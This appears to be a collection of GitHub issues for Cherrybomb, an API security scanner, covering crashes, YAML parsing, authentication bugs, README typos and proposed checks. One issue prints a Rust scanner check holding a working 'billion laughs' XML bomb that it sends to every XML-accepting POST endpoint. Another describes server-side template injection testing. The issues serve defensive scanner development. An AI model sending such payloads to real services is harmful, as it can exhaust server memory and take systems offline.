                               at /rustc/59e7a308e40fbc6b0901c9a8ee8ed51b17f9e772/library/std/src/sys_common/backtrace.rs:35:9
   8:     0x5594e8f2a6a3 - std::panicking::default_hook::{{closure}}::h853ab346ed83a809
                               at /rustc/59e7a308e40fbc6b0901c9a8ee8ed51b17f9e772/library/std/src/panicking.rs:295:22
   9:     0x5594e8f2a38f - std::panicking::default_hook::hb7d50a51602c487b
                               at /rustc/59e7a308e40fbc6b0901c9a8ee8ed51b17f9e772/library/std/src/panicking.rs:314:9
  10:     0x5594e8f2ad4a - std::panicking::rust_panic_with_hook::h95dc4345a5e101a2
                               at /rustc/59e7a308e40fbc6b0901c9a8ee8ed51b17f9e772/library/std/src/panicking.rs:698:17
  11:     0x5594e8f2ac47 - std::panicking::begin_panic_handler::{{closure}}::h595f317cb1a01c1d
                               at /rustc/59e7a308e40fbc6b0901c9a8ee8ed51b17f9e772/library/std/src/panicking.rs:588:13
  12:     0x5594e8f2934c - std::sys_common::backtrace::__rust_end_short_backtrace::h45aa6af331d91ebb
                               at /rustc/59e7a308e40fbc6b0901c9a8ee8ed51b17f9e772/library/std/src/sys_common/backtrace.rs:138:18
  13:     0x5594e8f2a962 - rust_begin_unwind
                               at /rustc/59e7a308e40fbc6b0901c9a8ee8ed51b17f9e772/library/std/src/panicking.rs:584:5
  14:     0x5594e8a90f33 - core::panicking::panic_fmt::hb6ebde4b6fadbf9c
                               at /rustc/59e7a308e40fbc6b0901c9a8ee8ed51b17f9e772/library/core/src/panicking.rs:142:14
  15:     0x5594e8a91083 - core::result::unwrap_failed::hcf42c238e586aec7
                               at /rustc/59e7a308e40fbc6b0901c9a8ee8ed51b17f9e772/library/core/src/result.rs:1785:5
  16:     0x5594e8b2cca5 - <core::future::from_generator::GenFuture<T> as core::future::future::Future>::poll::hb73d555436dff7d7
  17:     0x5594e8b26e7b - swagger::scan::checks::<impl swagger::scan::active::ActiveScan<T>>::run_check::{{closure}}::hfeeb8115a50cf861
  18:     0x5594e8b31aa6 - cherrybomb::parse_oas::{{closure}}::h2a4f67ce8d4cc858
  19:     0x5594e8b2b1f4 - <core::future::from_generator::GenFuture<T> as core::future::future::Future>::poll::h6db253bfc37efc93
  20:     0x5594e8aeeb36 - std::thread::local::LocalKey<T>::with::h487811906382d07f
  21:     0x5594e8b3f04a - tokio::park::thread::CachedParkThread::block_on::hacb2ca323e762455
  22:     0x5594e8ae9844 - tokio::runtime::scheduler::multi_thread::MultiThread::block_on::hab6656b3d64ed084
  23:     0x5594e8b3f124 - tokio::runtime::Runtime::block_on::h76afc280c10b7e30
  24:     0x5594e8ab3c6c - cherrybomb::main::h6a89d077b12cae37
  25:     0x5594e8ad79c3 - std::sys_common::backtrace::__rust_begin_short_backtrace::hb510b9cb7680e716
  26:     0x5594e8ae2689 - std::rt::lang_start::{{closure}}::h5e41c6681c949712
  27:     0x5594e8f1dd7f - core::ops::function::impls::<impl core::ops::function::FnOnce<A> for &F>::call_once::hd5a40c5c8da4e1d6
                               at /rustc/59e7a308e40fbc6b0901c9a8ee8ed51b17f9e772/library/core/src/ops/function.rs:280:13
  28:     0x5594e8f1dd7f - std::panicking::try::do_call::h76d99af31738b65a
                               at /rustc/59e7a308e40fbc6b0901c9a8ee8ed51b17f9e772/library/std/src/panicking.rs:492:40
  29:     0x5594e8f1dd7f - std::panicking::try::h7b17488cb6a9e4b4
                               at /rustc/59e7a308e40fbc6b0901c9a8ee8ed51b17f9e772/library/std/src/panicking.rs:456:19
  30:     0x5594e8f1dd7f - std::panic::catch_unwind::hbfc3c253cd2a3290
                               at /rustc/59e7a308e40fbc6b0901c9a8ee8ed51b17f9e772/library/std/src/panic.rs:137:14
  31:     0x5594e8f1dd7f - std::rt::lang_start_internal::{{closure}}::h559f65fd2a30215e
                               at /rustc/59e7a308e40fbc6b0901c9a8ee8ed51b17f9e772/library/std/src/rt.rs:148:48
  32:     0x5594e8f1dd7f - std::panicking::try::do_call::h46408ceeefe09863
                               at /rustc/59e7a308e40fbc6b0901c9a8ee8ed51b17f9e772/library/std/src/panicking.rs:492:40
  33:     0x5594e8f1dd7f - std::panicking::try::h7aada49248c3fbe0
                               at /rustc/59e7a308e40fbc6b0901c9a8ee8ed51b17f9e772/library/std/src/panicking.rs:456:19
  34:     0x5594e8f1dd7f - std::panic::catch_unwind::hbac65c9221a2910b
                               at /rustc/59e7a308e40fbc6b0901c9a8ee8ed51b17f9e772/library/std/src/panic.rs:137:14
  35:     0x5594e8f1dd7f - std::rt::lang_start_internal::h5836e6d88ed373fc
                               at /rustc/59e7a308e40fbc6b0901c9a8ee8ed51b17f9e772/library/std/src/rt.rs:148:20
  36:     0x5594e8ab3d48 - main
  37:     0x7f6b7c1285f0 - __libc_start_call_main
  38:     0x7f6b7c1286b9 - __libc_start_main@GLIBC_2.2.5
  39:     0x5594e8a91265 - _start
                               at /home/abuild/rpmbuild/BUILD/glibc-2.36/csu/../sysdeps/x86_64/start.S:115
  40:                0x0 - <unknown>

Desktop (please complete the following information):

• OS: Linux
• Browser n/a
• Version: branch dev 3726389

Additional context

YAML support broken?

Describe the bug
According to #19 yaml support should be there, but I couldn't get it working:

An OAS 3.1 file in yaml format raises error:

> cherrybomb --file foo.yaml
 v1.0.0
Starting Cherrybomb...
Opening OAS file...
Parsing OAS file...
Error: Error parsing OAS file: expected value at line 1 column

Same content as json works fine.

To Reproduce
Steps to reproduce the behavior:

1. wget https://raw.githubusercontent.com/OAI/OpenAPI-Specification/main/examples/v3.1/non-oauth-scopes.yaml
2. cherrybomb --file non-oauth-scopes.yaml
3. FAILURE!

But JSON works:

1. wget https://raw.githubusercontent.com/OAI/OpenAPI-Specification/main/examples/v3.1/non-oauth-scopes.json
2. cherrybomb --file non-oauth-scopes.json
3. SUCCESS!

Expected behavior
YAML File gets successfully parsed

Version

• Version 1.0.0

Authorization input validation - Error handling

Add better error handling in the auth.rs (/swagger/src/scan/active/http_client) file for auth types.
line 15 includes a panic and the rest trust the input to be valid.

There needs to be error handling for input validation.

Cheers,

Active Test / Server-Side Template Injection

Server-side template injection is a type of code injection that allows an attacker to execute malicious code on a web server by injecting template directives. By manipulating these directives, an attacker can gain access to sensitive data, execute arbitrary code, or even take control of the server.

Contributors are needed to help identify vulnerabilities that can be exploited using server-side template injection on a API.
More info:
https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection

Add `cargo clippy` check to `dev-build-check.yml`

It seems that the warnings output is coming from the cargo build command in CI, but it may actually benefit to separate them by adding a dedicated clippy job.

Reference: https://github.com/FuelLabs/sway/blob/master/.github/workflows/ci.yml#L217

Job title: cargo-clippy

Authentication is not send

The active checks send requests without authentication.
So several actives checks fails.
In order to check:
Insert the macro dbg!(&auth) in any active request and you can notice that the auth is "None".

Steps to locate the error:

1. go to cherrrybomb engine -> lib.rs -> run_active_profile()

2. scoll down to line 111.

3. see authorization is None

4. I replace with the following code and the auth is send through all requests.

   let auth = config.security.get(0).unwrap().auth_value.to_string(); let a = Authorization::from_parts("1", auth); active_scan .run(active_scanner::ActiveScanType::Full, &a) .await;

!!!
My code is not for production but just to understand where the bug occurs.
I fixed the from_parts() function in the branch reformat_test.
We can discuss about it

Additional context
The function from_parts() in "auth.rs" seems to used the old model of authentication and should be modify apart if there is a dedicate function.

@RazMag

New passive checks

@DeliciousBounty 's branch passive-tests contains the following tests that are not in main.
need to check them and implement into dev and then main.

(CheckExample, check_example,"EXAMPLE","Check if there is an example for request body and response"),
(CheckBodyRequest, check_body_request, "VALID BODY", "Check if there is a body request for POST and PUT method"),
(CheckParameterName, check_param_object, "PARAMETERS", "Check if the parameter name is correct")

XML bomb active check

This is a check suggested by @DeliciousBounty
Currently not implemented until testing levels are implemented since it could be destructive

    pub async fn check_xml_bomb(&self, auth: &Authorization) -> (CheckRetVal, Vec<Duration>) {
        let body = format!(
            r#"
        <?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz
        "#
        );
        let mut ret_val = CheckRetVal::default();
        let mut vec_time = vec![];
        //     if let Some(content) =  &op.request_body{
        for oas_map in self.payloads.iter() {
            for (json_path, schema) in &oas_map.payload.map {
                // .filter_map(|x| x){
                for (m, _operation) in oas_map
                    .path
                    .path_item
                    .get_ops()
                    .iter()
                    .filter(|(m, _)| m == &Method::POST)
                    .filter(|(_method, operation)| {
                        operation
                            .request_body
                            .clone()
                            .unwrap_or_default()
                            .inner(&self.oas_value)
                            .content
                            .into_keys()
                            .collect::<Vec<String>>()
                            .contains(&"application/xml".to_string())

                        // if let Some(value) =   &operation.request_body{
                        //      for ( string_item, Mediatype_item) in  &value.inner(&self.oas_value).content  {
                        //         println!("{:?}", string_item);
                        //         if string_item == "application/xml"{
                        //             println!("THere is one least");
                        //         }
                        //     ;
                        // }
                    })
                    .next()
                //       .filter(|(operation)|   operation.1.request_body.unwrap().clone().inner(&self.oas_value).content.keys())
                {
                    //  println!("{:?}", operation);
                    println!("ENCONDING {:?}", &oas_map.path.path);
                    let h = MHeader {
                        name: "Content-type".to_string(),
                        value: "application/xml".to_string(),
                    };
                    let base_url = self.oas.servers().unwrap().iter().next().unwrap().clone();
                    let req = AttackRequest::builder()
                        .uri(&base_url.url, &oas_map.path.path)
                        .method(*m)
                        .headers(vec![h])
                        .payload(&body)
                        .parameters(vec![])
                        .auth(auth.clone())
                        .build();

                    print!("XML BOMB : ");

                    /* let start = Instant::now();
                    expensive_function();
                    let duration = start.elapsed(); */
                    let start = Instant::now();
                    if let Ok(res) = req.send_request(true).await {
                        //logging request/response/description
                        ret_val.1.push(&req, &res, "Test for XML BOMB".to_string());
                        ret_val.0.push((
                            ResponseData {
                                location: oas_map.path.path.clone(),
                                alert_text: format!(
                                        "This  parameter on the endpoint seems to be vulerable to ssrf.", // json_path[json_path.len() - 1]
                                    ),
                            },
                            res.clone(),
                        ));
                        println!(
                            "{}:{}",
                            "Status".green().bold(),
                            res.status.to_string().magenta()
                        );
                    } else {
                        println!("REQUEST FAILED");
                    }
                    vec_time.push(start.elapsed());
                }
            }
        }
        (ret_val, vec_time)
    }

`Output level` for `verbosity` in `README.md` uses identical `png`

The verbosity 1 and verbosity 0 in the readme use the same image.

The CONTRIBUTING.md file specifies a branch called "canary" to pull requests from - this seems absent. What branch does one use instead?

Describe the bug
Missing branch "canary" mentioned in CONTRIBUTING.md - kindly specify the correct branch to use for contributions

To Reproduce
Steps to reproduce the behavior:

1. Go to CONTRIBUTING.md
2. Scroll down to the section for developers
3. See branch "canary" mentioned there. There seems to be no such branch

Expected behavior
Please specify the correct branch for contributions

Screenshots
Pasting from the file:

The development branch is canary. This is the branch that all pull requests should be made against.

thread 'main' panicked at 'No media types!' when running cherrybomb oas

Describe the bug
when attempting to run OAS on a openapi.json file I am getting this error message:
thread 'main' panicked at 'No media types!', /Users/yanminhong/.cargo/registry/src/github.com-1ecc6299db9ec823/cherrybomb-swagger-0.1.0/src/path.rs:72:13

To Reproduce
Steps to reproduce the behavior:

Expected behavior
A clear and concise description of what you expected to happen.

Screenshots
If applicable, add screenshots to help explain your problem.

Desktop (please complete the following information):

• OS: MacOS 12.6
• Cherrybomb 0.7.1

Additional context
This openapi file was generated by exporting a postman collection and converting that to an openapi format.

{type: number, format: int32} should be a validation error

Is your feature request related to a problem? Please describe.
{type: number, format: int32} is not ideal OAS 3.0.3, as it defines a format which should be an integer, but uses type: number when the type: integer should be used.

As it is ambiguous, the validator should emit an error of some sort, as openapi tools are very likely to either ignore either type or format, or fail when trying to combined the two.

An example of a tool which silently ignores the format is oxidecomputer/progenitor#266

Describe the solution you'd like
Detect type: number and a integer format, and type: integer and a float format.

https://github.com/zalando/zally (Kotlin) does detect this as rule MUST define a format for number and integer types

Describe alternatives you've considered

Additional context

minor text bug: space&bracket missing in README.md

Describe the bug
There are 3 opening and 2 closing brackets in the "(If you want to view the shell script(or even help to improving it - /scripts/install.sh)".

Also, there is no space after the "script word".

To Reproduce
Steps to reproduce the behavior:

1. Go to README.md
2. Scroll to "(If you want to view the shell script(or even help to improving it - /scripts/install.sh)"
3. See error

Expected behaviour
Brackets must match. There must be a space between the text and the round bracket.

Screenshots

Desktop (please complete the following information):

• OS: Win10
• Browser Chrome

Additional context
Might be a good "first time issue" - please apply the according label.